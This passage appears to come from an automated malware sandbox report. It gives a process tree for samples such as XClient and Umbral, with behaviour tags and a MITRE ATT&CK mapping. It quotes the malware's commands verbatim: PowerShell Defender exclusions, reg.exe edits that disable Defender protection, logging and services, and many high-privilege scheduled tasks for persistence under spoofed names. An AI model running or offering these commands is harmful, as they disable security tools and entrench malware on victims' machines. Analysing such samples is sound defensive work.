    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3792
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:512
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Maicrasoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4804
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Maicrasoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4496
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Maicrasoft OneDrive" /tr "C:\Users\Admin\AppData\Roaming\Maicrasoft OneDrive.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2824
- - C:\Users\Admin\AppData\Local\Temp\DC1TE4DXG9UMEFE.exe
    "C:\Users\Admin\AppData\Local\Temp\DC1TE4DXG9UMEFE.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:2764
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "DC1TE4DXG9UMEFE" /tr "C:\Users\Admin\AppData\Roaming\DC1TE4DXG9UMEFE.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2804
- - C:\Users\Admin\AppData\Local\Temp\EOD3ADWITUZK9VO.exe
    "C:\Users\Admin\AppData\Local\Temp\EOD3ADWITUZK9VO.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    PID:4084
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\HypercomponentCommon\I1SNCaG9QwHssjsi1vS2b9DJmZMoJ4clEjNn.vbe"
      4⤵
      PID:1124
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\HypercomponentCommon\cemEzm0xYx1.bat" "
        5⤵
        
        PID:3580
      - C:\HypercomponentCommon\hyperSurrogateagentCrt.exe
        
        "C:\HypercomponentCommon/hyperSurrogateagentCrt.exe"
        6⤵
        Modifies WinLogon for persistence
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1408
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3vm4hsxe\3vm4hsxe.cmdline"
        7⤵
        Drops file in System32 directory
        
        PID:3648
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4A72.tmp" "c:\Windows\System32\CSCA5F24F8A55DD4BDA95D1424A42601FEA.TMP"
        8⤵
        
        PID:4172
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\sppsvc.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\ShellExperienceHost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\HypercomponentCommon\lsass.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Media Player\uk-UA\Idle.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\Acrobat Reader DC\fontdrvhost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\HypercomponentCommon\hyperSurrogateagentCrt.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2956
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\aTq8Qzn3nq.bat"
        7⤵
        
        PID:604
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:880
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        8⤵
        
        PID:3432
        
        C:\HypercomponentCommon\lsass.exe
        
        "C:\HypercomponentCommon\lsass.exe"
        8⤵
        Executes dropped EXE
        
        PID:3612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\clear_av.bat" "
  2⤵
  PID:5116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FunChecker .bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\avdisable.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:3736
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:1860
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:3500
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3248
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:428
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5096
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1876
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:800
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:3776
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:1032
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:772
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:1856
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:4988
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:2876
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:4496
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:4804
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:4624
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:5072
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:440
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:4880
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:3460
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:512
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:4584
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:2656
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4592
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3824
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4896
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2312
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:1968
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:96
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1488

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ShellExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\ShellExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ShellExperienceHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\ShellExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ShellExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\ShellExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\HypercomponentCommon\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\HypercomponentCommon\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\HypercomponentCommon\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Media Player\uk-UA\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\uk-UA\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Media Player\uk-UA\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3984

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "hyperSurrogateagentCrth" /sc MINUTE /mo 5 /tr "'C:\HypercomponentCommon\hyperSurrogateagentCrt.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "hyperSurrogateagentCrt" /sc ONLOGON /tr "'C:\HypercomponentCommon\hyperSurrogateagentCrt.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "hyperSurrogateagentCrth" /sc MINUTE /mo 10 /tr "'C:\HypercomponentCommon\hyperSurrogateagentCrt.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4204

C:\Users\Admin\AppData\Roaming\DC1TE4DXG9UMEFE.exe
C:\Users\Admin\AppData\Roaming\DC1TE4DXG9UMEFE.exe
1⤵
- Executes dropped EXE
PID:3648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion